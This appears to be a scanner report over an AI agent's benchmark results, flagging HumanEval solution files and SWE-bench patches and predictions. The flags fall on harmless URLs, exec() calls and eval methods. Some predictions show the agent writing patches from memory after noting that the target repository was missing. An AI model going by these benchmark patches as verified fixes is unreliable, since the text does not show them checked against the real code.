skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/97.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/98.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/99.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/django__django-10914.patch
- Network accessline 14
# The numeric mode to set newly-uploaded files to. The value should be a mode -# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories. - Network accessline 15
-# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories. - Network accessline 16
-FILE_UPLOAD_PERMISSIONS = None +# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories. +FILE_UPLOAD_PERMISSIONS = 0o644 - Network accessline 17
+# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories.
skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/django__django-11422.patch
- Network accessline 21
+ sys_file_paths.append(module.__file__) + continue # dir. See https://github.com/fabioz/PyDev.Debugger/blob/2d5b98f0/ - Network accessline 22
+ continue # dir. See https://github.com/fabioz/PyDev.Debugger/blob/2d5b98f0/ # _pydevd_bundle/pydevd_filtering.py#L25 - Network accessline 23
# dir. See https://github.com/fabioz/PyDev.Debugger/blob/2d5b98f0/
skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/django__django-13265.patch
- Network accessline 23
Wait, let me reconsider. The issue is specifically about the ordering of operations. Looking at the PR mentioned in the hints (https://github.com/iurisilvio/django), I need to understand the exact fix location.
skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/django__django-13660.patch
- Dangerous shell operationline 5
1. In `django/core/management/commands/shell.py`, the `exec()` function is called without providing a globals dictionary - Dangerous shell operationline 6
2. When `exec(options['command'])` is called without a globals dict, it uses the current local scope - Dangerous shell operationline 9
The fix is to pass an empty dictionary as the second argument to `exec()` so that it creates a proper global namespace. - Dangerous shell operationline 17
- exec(options['command']) - Dangerous shell operationline 18
+ exec(options['command'], {}) - Dangerous shell operationline 23
- exec(sys.stdin.read()) - Dangerous shell operationline 24
+ exec(sys.stdin.read(), {})
skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/django__django-15738.patch
- Network accessline 181
Actually, I realize now that I should look at the exact line numbers mentioned in the hints. They reference: - Line 910: https://github.com/django/django/blob/b502061027b90499f2e20210f944292cecd74d24/django/db/migrations/autodetector.py#L91 - Network accessline 182
- Line 910: https://github.com/django/django/blob/b502061027b90499f2e20210f944292cecd74d24/django/db/migrations/autodetector.py#L910 - Network accessline 183
- Lines 424-430: https://github.com/django/django/blob/b502061027b90499f2e20210f944292cecd74d24/django/db/migrations/autodetector.py#L424-L430
skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/pylint-dev__pylint-7228.patch
- Network accessline 10
+++ b/pylint/config/config_initialization.py @@ -1,6 +1,7 @@ # Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html - Network accessline 11
@@ -1,6 +1,7 @@ # Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html # For details: https://github.com/PyCQA/pylint/blob/main/LICENSE - Network accessline 12
# Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html - Network accessline 13
# For details: https://github.com/PyCQA/pylint/blob/main/LICENSE - Network accessline 14
# Copyright (c) https://github.com/PyCQA/pylint/blob/main/CONTRIBUTORS.txt
skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/pytest-dev__pytest-5692.patch
- Network accessline 12
+ Output conforms to https://github.com/jenkinsci/xunit-plugin/blob/master/ - Network accessline 13
Output conforms to https://github.com/jenkinsci/xunit-plugin/blob/master/ src/main/resources/org/jenkinsci/plugins/xunit/types/model/xsd/junit-10.xsd - Network accessline 14
https://github.com/jenkinsci/xunit-plugin/blob/master/
skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/pytest-dev__pytest-7373.patch
skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/sympy__sympy-13437.patch
- Dangerous shell operationline 9
def eval(cls, n, k_sym=None, symbols=None):
skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/sympy__sympy-13915.patch
- Network accessline 14
if b.is_Number: c, nc = split_args(b) - Network accessline 15
c, nc = split_args(b) - Network accessline 22
+ c_powers[b] = c_powers.get(b, S.Zero) + e + continue + c, nc = S.One, [] - Network accessline 23
+ continue + c, nc = S.One, [] else: - Network accessline 24
+ c, nc = S.One, [] - Network accessline 26
c, nc = S.One, []
skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/sympy__sympy-20154.patch
- Network accessline 27
- Reference: - Modified from Tim Peter's version to allow for k and m values: - http://code.activestate.com/recipes/218332-generator-for-integer-partitions/ - Network accessline 28
- Modified from Tim Peter's version to allow for k and m values: - http://code.activestate.com/recipes/218332-generator-for-integer-partitions/ - - Network accessline 29
- http://code.activestate.com/recipes/218332-generator-for-integer-partitions/
skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/sympy__sympy-21379.patch
skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-predictions.json
- Network accessline 32
{ "instance_id": "django__django-10914", "model_patch": "Based on my search, this repository does not contain the Django codebase. However, I can generate the patch based on my knowledge of the Django codebase structure and the issu - Network accessline 33
"instance_id": "django__django-10914", "model_patch": "Based on my search, this repository does not contain the Django codebase. However, I can generate the patch based on my knowledge of the Django codebase structure and the issue requ - Network accessline 34
"model_patch": "Based on my search, this repository does not contain the Django codebase. However, I can generate the patch based on my knowledge of the Django codebase structure and the issue requirements. The issue is well-documented and - Network accessline 82
{ "instance_id": "django__django-11422", "model_patch": "Based on my knowledge of Django and the issue description, I can construct the patch. The issue is in the `iter_modules_and_files` function in `django/utils/autoreload.py`. Th - Network accessline 83
"instance_id": "django__django-11422", "model_patch": "Based on my knowledge of Django and the issue description, I can construct the patch. The issue is in the `iter_modules_and_files` function in `django/utils/autoreload.py`. The prob - Network accessline 84
"model_patch": "Based on my knowledge of Django and the issue description, I can construct the patch. The issue is in the `iter_modules_and_files` function in `django/utils/autoreload.py`. The problem is that when a module is `__main__` (li - Network accessline 257
{ "instance_id": "django__django-13265", "model_patch": "I don't have direct access to Django's repository in the local filesystem. Based on my knowledge of Django's codebase and the issue description, I can generate the fix. The is - Network accessline 258
"instance_id": "django__django-13265", "model_patch": "I don't have direct access to Django's repository in the local filesystem. Based on my knowledge of Django's codebase and the issue description, I can generate the fix. The issue is - Network accessline 259
"model_patch": "I don't have direct access to Django's repository in the local filesystem. Based on my knowledge of Django's codebase and the issue description, I can generate the fix. The issue is in the migration autodetector where AddInd - Dangerous shell operationline 304
"model_patch": "This issue is from the django/django repository, but we're in a different directory. Let me search for the Django source or understand this is about creating a patch for the Django repository.\n\nBased on the issue descripti - Network accessline 827
{ "instance_id": "pylint-dev__pylint-7228", "model_patch": "I see the patches for other pylint issues (6506, 7080, 7114) but not the specific issue about the `\\p{Han}` regex error. However, from the hints in the issue discussion, i - Network accessline 828
"instance_id": "pylint-dev__pylint-7228", "model_patch": "I see the patches for other pylint issues (6506, 7080, 7114) but not the specific issue about the `\\p{Han}` regex error. However, from the hints in the issue discussion, it's cl - Network accessline 829
"model_patch": "I see the patches for other pylint issues (6506, 7080, 7114) but not the specific issue about the `\\p{Han}` regex error. However, from the hints in the issue discussion, it's clear that:\n\n1. The error occurs during config - Network accessline 872
{ "instance_id": "pytest-dev__pytest-5692", "model_patch": "This repository doesn't contain the pytest source code. Since this is asking about fixing a GitHub issue in pytest-dev/pytest, I need to provide a patch based on my knowled - Network accessline 873
"instance_id": "pytest-dev__pytest-5692", "model_patch": "This repository doesn't contain the pytest source code. Since this is asking about fixing a GitHub issue in pytest-dev/pytest, I need to provide a patch based on my knowledge of - Network accessline 874
"model_patch": "This repository doesn't contain the pytest source code. Since this is asking about fixing a GitHub issue in pytest-dev/pytest, I need to provide a patch based on my knowledge of the pytest codebase. The JUnit XML reporting i - Dangerous shell operationline 894
"model_patch": "Based on my knowledge of the pytest codebase and the issue description, I can provide the patch. The issue mentions:\n\n1. The `cached_eval` function in `_pytest/mark/evaluate.py` caches evaluation results using only the str - Dangerous shell operationline 1179
"model_patch": "Based on my knowledge of SymPy's structure and the issue description mentioning that Fibonacci and Lucas numbers were recently fixed with similar issues, I can provide the correct patch. In SymPy, the `bell` class in `sympy/ - Network accessline 1207
{ "instance_id": "sympy__sympy-13915", "model_patch": "Based on my understanding of the SymPy issue and the discussions in the GitHub issue, I can create the fix. The issue is in `sympy/core/mul.py` where the `_gather` helper in the - Network accessline 1208
"instance_id": "sympy__sympy-13915", "model_patch": "Based on my understanding of the SymPy issue and the discussions in the GitHub issue, I can create the fix. The issue is in `sympy/core/mul.py` where the `_gather` helper in the `Mul` - Network accessline 1209
"model_patch": "Based on my understanding of the SymPy issue and the discussions in the GitHub issue, I can create the fix. The issue is in `sympy/core/mul.py` where the `_gather` helper in the `Mul` class combines powers incorrectly when t - Network accessline 1382
{ "instance_id": "sympy__sympy-20154", "model_patch": "Based on my knowledge of the SymPy codebase and the issue described, I need to create a patch for the `partitions()` function in `sympy/utilities/iterables.py`. The function reu - Network accessline 1383
"instance_id": "sympy__sympy-20154", "model_patch": "Based on my knowledge of the SymPy codebase and the issue described, I need to create a patch for the `partitions()` function in `sympy/utilities/iterables.py`. The function reuses th - Network accessline 1384
"model_patch": "Based on my knowledge of the SymPy codebase and the issue described, I need to create a patch for the `partitions()` function in `sympy/utilities/iterables.py`. The function reuses the same dictionary object and yields it on - Dangerous shell operationline 1424
"model_patch": "Based on the issue details, I have all the information needed to create the patch. The issue provides:\n\n1. The exact location: `sympy/core/mod.py` in the `eval` method\n2. The suggested fix from @jksuom in the issue\n3. Th
skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-results.json
- Network accessline 40
{ "instance_id": "django__django-10914", "model_patch": "Based on my search, this repository does not contain the Django codebase. However, I can generate the patch based on my knowledge of the Django codebase structure and the - Network accessline 41
"instance_id": "django__django-10914", "model_patch": "Based on my search, this repository does not contain the Django codebase. However, I can generate the patch based on my knowledge of the Django codebase structure and the issue re - Network accessline 42
"model_patch": "Based on my search, this repository does not contain the Django codebase. However, I can generate the patch based on my knowledge of the Django codebase structure and the issue requirements. The issue is well-documented and - Network accessline 90
{ "instance_id": "django__django-11422", "model_patch": "Based on my knowledge of Django and the issue description, I can construct the patch. The issue is in the `iter_modules_and_files` function in `django/utils/autoreload.py` - Network accessline 91
"instance_id": "django__django-11422", "model_patch": "Based on my knowledge of Django and the issue description, I can construct the patch. The issue is in the `iter_modules_and_files` function in `django/utils/autoreload.py`. The pr - Network accessline 92
"model_patch": "Based on my knowledge of Django and the issue description, I can construct the patch. The issue is in the `iter_modules_and_files` function in `django/utils/autoreload.py`. The problem is that when a module is `__main__` (li - Network accessline 265
{ "instance_id": "django__django-13265", "model_patch": "I don't have direct access to Django's repository in the local filesystem. Based on my knowledge of Django's codebase and the issue description, I can generate the fix. Th - Network accessline 266
"instance_id": "django__django-13265", "model_patch": "I don't have direct access to Django's repository in the local filesystem. Based on my knowledge of Django's codebase and the issue description, I can generate the fix. The issue - Network accessline 267
"model_patch": "I don't have direct access to Django's repository in the local filesystem. Based on my knowledge of Django's codebase and the issue description, I can generate the fix. The issue is in the migration autodetector where AddInd - Dangerous shell operationline 312
"model_patch": "This issue is from the django/django repository, but we're in a different directory. Let me search for the Django source or understand this is about creating a patch for the Django repository.\n\nBased on the issue descripti - Network accessline 835
{ "instance_id": "pylint-dev__pylint-7228", "model_patch": "I see the patches for other pylint issues (6506, 7080, 7114) but not the specific issue about the `\\p{Han}` regex error. However, from the hints in the issue discussio - Network accessline 836
"instance_id": "pylint-dev__pylint-7228", "model_patch": "I see the patches for other pylint issues (6506, 7080, 7114) but not the specific issue about the `\\p{Han}` regex error. However, from the hints in the issue discussion, it's - Network accessline 837
"model_patch": "I see the patches for other pylint issues (6506, 7080, 7114) but not the specific issue about the `\\p{Han}` regex error. However, from the hints in the issue discussion, it's clear that:\n\n1. The error occurs during config - Network accessline 880
{ "instance_id": "pytest-dev__pytest-5692", "model_patch": "This repository doesn't contain the pytest source code. Since this is asking about fixing a GitHub issue in pytest-dev/pytest, I need to provide a patch based on my kno - Network accessline 881
"instance_id": "pytest-dev__pytest-5692", "model_patch": "This repository doesn't contain the pytest source code. Since this is asking about fixing a GitHub issue in pytest-dev/pytest, I need to provide a patch based on my knowledge o - Network accessline 882
"model_patch": "This repository doesn't contain the pytest source code. Since this is asking about fixing a GitHub issue in pytest-dev/pytest, I need to provide a patch based on my knowledge of the pytest codebase. The JUnit XML reporting i - Dangerous shell operationline 902
"model_patch": "Based on my knowledge of the pytest codebase and the issue description, I can provide the patch. The issue mentions:\n\n1. The `cached_eval` function in `_pytest/mark/evaluate.py` caches evaluation results using only the str - Dangerous shell operationline 1187
"model_patch": "Based on my knowledge of SymPy's structure and the issue description mentioning that Fibonacci and Lucas numbers were recently fixed with similar issues, I can provide the correct patch. In SymPy, the `bell` class in `sympy/ - Network accessline 1215
{ "instance_id": "sympy__sympy-13915", "model_patch": "Based on my understanding of the SymPy issue and the discussions in the GitHub issue, I can create the fix. The issue is in `sympy/core/mul.py` where the `_gather` helper in - Network accessline 1216
"instance_id": "sympy__sympy-13915", "model_patch": "Based on my understanding of the SymPy issue and the discussions in the GitHub issue, I can create the fix. The issue is in `sympy/core/mul.py` where the `_gather` helper in the `Mu - Network accessline 1217
"model_patch": "Based on my understanding of the SymPy issue and the discussions in the GitHub issue, I can create the fix. The issue is in `sympy/core/mul.py` where the `_gather` helper in the `Mul` class combines powers incorrectly when t - Network accessline 1390
{ "instance_id": "sympy__sympy-20154", "model_patch": "Based on my knowledge of the SymPy codebase and the issue described, I need to create a patch for the `partitions()` function in `sympy/utilities/iterables.py`. The function - Network accessline 1391
"instance_id": "sympy__sympy-20154", "model_patch": "Based on my knowledge of the SymPy codebase and the issue described, I need to create a patch for the `partitions()` function in `sympy/utilities/iterables.py`. The function reuses - Network accessline 1392
"model_patch": "Based on my knowledge of the SymPy codebase and the issue described, I need to create a patch for the `partitions()` function in `sympy/utilities/iterables.py`. The function reuses the same dictionary object and yields it on - Dangerous shell operationline 1432
"model_patch": "Based on the issue details, I have all the information needed to create the patch. The issue provides:\n\n1. The exact location: `sympy/core/mod.py` in the `eval` method\n2. The suggested fix from @jksuom in the issue\n3. Th
skills/loki-mode/benchmarks/results/2026-01-05-01-35-39/swebench-patches/django__django-10914.patch
- Network accessline 5
@@ -304,7 +304,7 @@ SECRET_KEY = '' # The numeric mode to set newly-uploaded files to. The value should be a mode # you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories. - Network accessline 6
# The numeric mode to set newly-uploaded files to. The value should be a mode # you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories. -FILE_UPLOAD_PERMISSIONS = None - Network accessline 7
# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories.
skills/loki-mode/benchmarks/results/2026-01-05-01-35-39/swebench-predictions.json
- Network accessline 32
{ "instance_id": "django__django-10914", "model_patch": "I can see this patch file contains explanatory text before the actual patch content. The actual unified diff starts at line 15. Based on the issue requirements and the content - Network accessline 33
"instance_id": "django__django-10914", "model_patch": "I can see this patch file contains explanatory text before the actual patch content. The actual unified diff starts at line 15. Based on the issue requirements and the content I fou - Network accessline 34
"model_patch": "I can see this patch file contains explanatory text before the actual patch content. The actual unified diff starts at line 15. Based on the issue requirements and the content I found, here is the complete patch:\n\n--- a/dj
skills/loki-mode/benchmarks/results/2026-01-05-01-35-39/swebench-results.json
- Network accessline 40
{ "instance_id": "django__django-10914", "model_patch": "I can see this patch file contains explanatory text before the actual patch content. The actual unified diff starts at line 15. Based on the issue requirements and the con - Network accessline 41
"instance_id": "django__django-10914", "model_patch": "I can see this patch file contains explanatory text before the actual patch content. The actual unified diff starts at line 15. Based on the issue requirements and the content I f - Network accessline 42
"model_patch": "I can see this patch file contains explanatory text before the actual patch content. The actual unified diff starts at line 15. Based on the issue requirements and the content I found, here is the complete patch:\n\n--- a/dj
skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/django__django-10914.patch
- Network accessline 11
-# The numeric mode to set newly-uploaded files to. The value should be a mode -# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories. - Network accessline 12
-# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories. - Network accessline 13
-FILE_UPLOAD_PERMISSIONS = None +# The numeric mode to set newly-uploaded files to. The value should be a mode +# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories. - Network accessline 14
+# The numeric mode to set newly-uploaded files to. The value should be a mode +# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories. +FILE_UPLOAD_PERMISSIONS = 0o644 - Network accessline 15
+# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories.
skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/django__django-11564.patch
- Network accessline 95
+ url = urljoin(self.base_url, url) + # Add SCRIPT_NAME prefix to relative URLs (those starting with /) + # but not absolute URLs (those with a scheme like http://) - Network accessline 96
+ # Add SCRIPT_NAME prefix to relative URLs (those starting with /) + # but not absolute URLs (those with a scheme like http://) + if url.startswith('/') and not url.startswith('//'): - Network accessline 97
+ # but not absolute URLs (those with a scheme like http://)
skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/django__django-13660.patch
skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/pylint-dev__pylint-7114.patch
- Network accessline 9
+++ b/pylint/lint/expand_modules.py @@ -1,6 +1,7 @@ # Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html - Network accessline 10
@@ -1,6 +1,7 @@ # Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html # For details: https://github.com/pylint-dev/pylint/blob/main/LICENSE - Network accessline 11
# Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html - Network accessline 12
# For details: https://github.com/pylint-dev/pylint/blob/main/LICENSE - Network accessline 13
# Copyright (c) https://github.com/pylint-dev/pylint/blob/main/CONTRIBUTORS.txt
skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/pytest-dev__pytest-7373.patch
skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/sympy__sympy-13177.patch
- Dangerous shell operationline 7
@@ -39,7 +39,7 @@ def eval(cls, p, q):
skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/sympy__sympy-13437.patch
- Dangerous shell operationline 11
def eval(cls, n, k_sym=None, symbols=None):
skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/sympy__sympy-21379.patch
- Dangerous shell operationline 15
@@ -166,7 +167,11 @@ def eval(cls, p, q):
skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/sympy__sympy-21627.patch
skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-predictions.json
- Network accessline 38
{ "instance_id": "django__django-10914", "model_patch": "--- a/django/conf/global_settings.py\n+++ b/django/conf/global_settings.py\n@@ -304,7 +304,7 @@ DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage'\n # FILE_U - Network accessline 39
"instance_id": "django__django-10914", "model_patch": "--- a/django/conf/global_settings.py\n+++ b/django/conf/global_settings.py\n@@ -304,7 +304,7 @@ DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage'\n # FILE_UPLOAD_ - Network accessline 40
"model_patch": "--- a/django/conf/global_settings.py\n+++ b/django/conf/global_settings.py\n@@ -304,7 +304,7 @@ DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage'\n # FILE_UPLOAD_TEMP_DIR.\n FILE_UPLOAD_TEMP_DIR = None\n \ - Network accessline 104
{ "instance_id": "django__django-11564", "model_patch": "Based on my knowledge of the Django codebase and the issue description, I'll generate the patch. The fix involves modifying the `url()` methods in the storage classes to prepe - Network accessline 105
"instance_id": "django__django-11564", "model_patch": "Based on my knowledge of the Django codebase and the issue description, I'll generate the patch. The fix involves modifying the `url()` methods in the storage classes to prepend the - Network accessline 106
"model_patch": "Based on my knowledge of the Django codebase and the issue description, I'll generate the patch. The fix involves modifying the `url()` methods in the storage classes to prepend the script prefix for relative URLs.\n\n```\n- - Dangerous shell operationline 364
"model_patch": "--- a/django/core/management/commands/shell.py\n+++ b/django/core/management/commands/shell.py\n@@ -83,13 +83,13 @@ class Command(BaseCommand):\n def handle(self, **options):\n # Execute the command and exit.\n - Network accessline 986
{ "instance_id": "pylint-dev__pylint-7114", "model_patch": "Based on my analysis of the issue and understanding of pylint's codebase, here is the patch that fixes this issue:\n\n```\n--- a/pylint/lint/expand_modules.py\n+++ b/pylint - Network accessline 987
"instance_id": "pylint-dev__pylint-7114", "model_patch": "Based on my analysis of the issue and understanding of pylint's codebase, here is the patch that fixes this issue:\n\n```\n--- a/pylint/lint/expand_modules.py\n+++ b/pylint/lint/ - Network accessline 988
"model_patch": "Based on my analysis of the issue and understanding of pylint's codebase, here is the patch that fixes this issue:\n\n```\n--- a/pylint/lint/expand_modules.py\n+++ b/pylint/lint/expand_modules.py\n@@ -1,6 +1,7 @@\n # License - Dangerous shell operationline 1072
"model_patch": "--- a/src/_pytest/mark/evaluate.py\n+++ b/src/_pytest/mark/evaluate.py\n@@ -10,7 +10,6 @@ from ..outcomes import fail\n from ..outcomes import TEST_OUTCOME\n from .structures import Mark\n from _pytest.config import Config\n - Dangerous shell operationline 1408
"model_patch": "--- a/sympy/core/mod.py\n+++ b/sympy/core/mod.py\n@@ -39,7 +39,7 @@ def eval(cls, p, q):\n return S.Zero\n \n if (p == q or p == -q or\n- p.is_Pow and p.exp.is_Integer and p.base == q or\n+ - Dangerous shell operationline 1414
"model_patch": "Based on my analysis of the issue and the SymPy codebase patterns, here is the patch:\n\n--- a/sympy/functions/combinatorial/numbers.py\n+++ b/sympy/functions/combinatorial/numbers.py\n@@ -436,6 +436,9 @@ class bell(Function - Dangerous shell operationline 1708
"model_patch": "--- a/sympy/core/mod.py\n+++ b/sympy/core/mod.py\n@@ -7,6 +7,7 @@ from .logic import fuzzy_and, fuzzy_not\n from .mul import Mul\n from .singleton import S\n from .exprtools import factor_terms\n+from sympy.polys.polyerrors - Dangerous shell operationline 1726
"model_patch": "--- a/sympy/functions/elementary/complexes.py\n+++ b/sympy/functions/elementary/complexes.py\n@@ -613,10 +613,13 @@ def eval(cls, arg):\n return arg\n if arg.is_extended_negative:\n return -ar
skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-results.json
- Network accessline 46
{ "instance_id": "django__django-10914", "model_patch": "--- a/django/conf/global_settings.py\n+++ b/django/conf/global_settings.py\n@@ -304,7 +304,7 @@ DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage'\n # FI - Network accessline 47
"instance_id": "django__django-10914", "model_patch": "--- a/django/conf/global_settings.py\n+++ b/django/conf/global_settings.py\n@@ -304,7 +304,7 @@ DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage'\n # FILE_UPLOA - Network accessline 48
"model_patch": "--- a/django/conf/global_settings.py\n+++ b/django/conf/global_settings.py\n@@ -304,7 +304,7 @@ DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage'\n # FILE_UPLOAD_TEMP_DIR.\n FILE_UPLOAD_TEMP_DIR = None\n \ - Network accessline 112
{ "instance_id": "django__django-11564", "model_patch": "Based on my knowledge of the Django codebase and the issue description, I'll generate the patch. The fix involves modifying the `url()` methods in the storage classes to p - Network accessline 113
"instance_id": "django__django-11564", "model_patch": "Based on my knowledge of the Django codebase and the issue description, I'll generate the patch. The fix involves modifying the `url()` methods in the storage classes to prepend t - Network accessline 114
"model_patch": "Based on my knowledge of the Django codebase and the issue description, I'll generate the patch. The fix involves modifying the `url()` methods in the storage classes to prepend the script prefix for relative URLs.\n\n```\n- - Dangerous shell operationline 372
"model_patch": "--- a/django/core/management/commands/shell.py\n+++ b/django/core/management/commands/shell.py\n@@ -83,13 +83,13 @@ class Command(BaseCommand):\n def handle(self, **options):\n # Execute the command and exit.\n - Network accessline 994
{ "instance_id": "pylint-dev__pylint-7114", "model_patch": "Based on my analysis of the issue and understanding of pylint's codebase, here is the patch that fixes this issue:\n\n```\n--- a/pylint/lint/expand_modules.py\n+++ b/py - Network accessline 995
"instance_id": "pylint-dev__pylint-7114", "model_patch": "Based on my analysis of the issue and understanding of pylint's codebase, here is the patch that fixes this issue:\n\n```\n--- a/pylint/lint/expand_modules.py\n+++ b/pylint/lin - Network accessline 996
"model_patch": "Based on my analysis of the issue and understanding of pylint's codebase, here is the patch that fixes this issue:\n\n```\n--- a/pylint/lint/expand_modules.py\n+++ b/pylint/lint/expand_modules.py\n@@ -1,6 +1,7 @@\n # License - Dangerous shell operationline 1080
"model_patch": "--- a/src/_pytest/mark/evaluate.py\n+++ b/src/_pytest/mark/evaluate.py\n@@ -10,7 +10,6 @@ from ..outcomes import fail\n from ..outcomes import TEST_OUTCOME\n from .structures import Mark\n from _pytest.config import Config\n - Dangerous shell operationline 1416
"model_patch": "--- a/sympy/core/mod.py\n+++ b/sympy/core/mod.py\n@@ -39,7 +39,7 @@ def eval(cls, p, q):\n return S.Zero\n \n if (p == q or p == -q or\n- p.is_Pow and p.exp.is_Integer and p.base == q or\n+ - Dangerous shell operationline 1422
"model_patch": "Based on my analysis of the issue and the SymPy codebase patterns, here is the patch:\n\n--- a/sympy/functions/combinatorial/numbers.py\n+++ b/sympy/functions/combinatorial/numbers.py\n@@ -436,6 +436,9 @@ class bell(Function - Dangerous shell operationline 1716
"model_patch": "--- a/sympy/core/mod.py\n+++ b/sympy/core/mod.py\n@@ -7,6 +7,7 @@ from .logic import fuzzy_and, fuzzy_not\n from .mul import Mul\n from .singleton import S\n from .exprtools import factor_terms\n+from sympy.polys.polyerrors - Dangerous shell operationline 1734
"model_patch": "--- a/sympy/functions/elementary/complexes.py\n+++ b/sympy/functions/elementary/complexes.py\n@@ -613,10 +613,13 @@ def eval(cls, arg):\n return arg\n if arg.is_extended_negative:\n return -ar
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/0.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/1.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/10.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/100.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/101.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/102.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/103.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/104.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/105.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/106.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/107.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/108.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/109.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/11.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/110.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/111.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/112.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/113.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/114.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/115.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/116.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/117.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/118.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/119.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/12.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/120.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/121.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/122.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/123.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/124.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/125.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/126.py
- Executable scriptline 1
Executable file
